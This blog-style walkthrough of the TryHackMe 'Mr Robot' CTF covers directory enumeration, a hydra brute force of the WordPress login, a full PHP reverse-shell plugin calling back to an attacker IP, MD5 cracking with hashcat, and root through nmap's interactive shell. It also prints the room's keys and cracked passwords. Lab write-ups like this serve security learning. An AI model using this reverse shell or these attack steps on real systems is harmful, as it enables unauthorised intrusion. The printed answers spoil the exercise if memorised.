Mr Robot CTF
Mr Robot CTF writeup
Mr Robot CTF
| [TryHackMe | Mr Robot CTF](https://tryhackme.com/room/mrrobot) |
Can you root this Mr. Robot styled machine? This is a virtual machine meant for beginners/intermediate users. There are 3 hidden keys located on the machine, can you find them?
Credit to Leon Johnson for creating this machine.
Setup
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kali@kali:~$ gobuster dir -u http://10.10.157.219/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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kali@kali:~$ gobuster dir -u http://10.10.157.219/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.157.219/
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/05/09 16:45:41 Starting gobuster
===============================================================
/images (Status: 301)
/blog (Status: 301)
/sitemap (Status: 200)
/rss (Status: 301)
/login (Status: 302)
/0 (Status: 301)
/feed (Status: 301)
/video (Status: 301)
/image (Status: 301)
/atom (Status: 301)
/wp-content (Status: 301)
/admin (Status: 301)
/audio (Status: 301)
/wp-login (Status: 200)
/intro (Status: 200)
/css (Status: 301)
/rss2 (Status: 301)
/license (Status: 200)
/wp-includes (Status: 301)
/js (Status: 301)
/Image (Status: 301)
/rdf (Status: 301)
/page1 (Status: 301)
/readme (Status: 200)
/robots (Status: 200)
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kali@kali:~$ curl http://10.10.157.219/fsocity.dic > password.txt
#1 What is key 1?
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073403c8a58a1f80d943455fb30724b9
#2 What is key 2?
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kali@kali:~$ hydra -l Elliot -P password.txt 10.10.157.219 http-post-form "/wp-login:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=10.10.157.219/wp-admin/&testcookie=1:S=302"
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[80][http-post-form] host: 10.10.157.219 login: "Elliot" password: "ER28-0652"
Now let’s implement some php reverse shell.
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<?php
/*
Plugin Name: Reverse Shell
Plugin URI: http://shell.com
Description: gimme a shell
Version: 1.0
Text Domain: shell
Domain Path: /languages
*/
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 [email protected]
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.9.2.228'; // CHANGE THIS
$port = 9999; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
But before we need to zip the shell.php to upload it.
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kali@kali:~/Desktop$ zip shell.zip shell.php
adding: shell.php (deflated 59%)
Great we successfully upload our php shell ! Let’s active it
Nice ! :D we have a shell let’s make it fancy now
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python -c 'import pty; pty.spawn("/bin/bash")'
As you can see we can’t see the key2 but we have an hash so let’s crack it
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kali@kali:~/Desktop$ hashcat -m 0 --force hashmrrobot /usr/share/wordlists/rockyou.txt
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c3fcd3d76192e4007dfb496cca67e13b:abcdefghijklmnopqrstuvwxyz
#3 What is key 3?
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su -l robot
Password: abcdefghijklmnopqrstuvwxyz
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robot@linux:~$ ls
ls
key-2-of-3.txt password.raw-md5
robot@linux:~$ cat key-2-of-3.txt
cat key-2-of-3.txt
822c73956184f694993bede3eb39f959
Final step getting root on the machine
On the TryHackMe website the hint was “nmap”
So i found this website https://pentestlab.blog/category/privilege-escalation/ and it worked ! :D
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robot@linux:~$ nmap --interactive
nmap --interactive
Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help
nmap> !sh
!sh
# ls
ls
key-2-of-3.txt password.raw-md5
# cd /root
cd /root
# ls
ls
firstboot_done key-3-of-3.txt
# cat key-3-of-3.txt
cat key-3-of-3.txt
04787ddef27c3dee1ee161b21670b4e4
This post is licensed under
CC BY 4.0
by the author.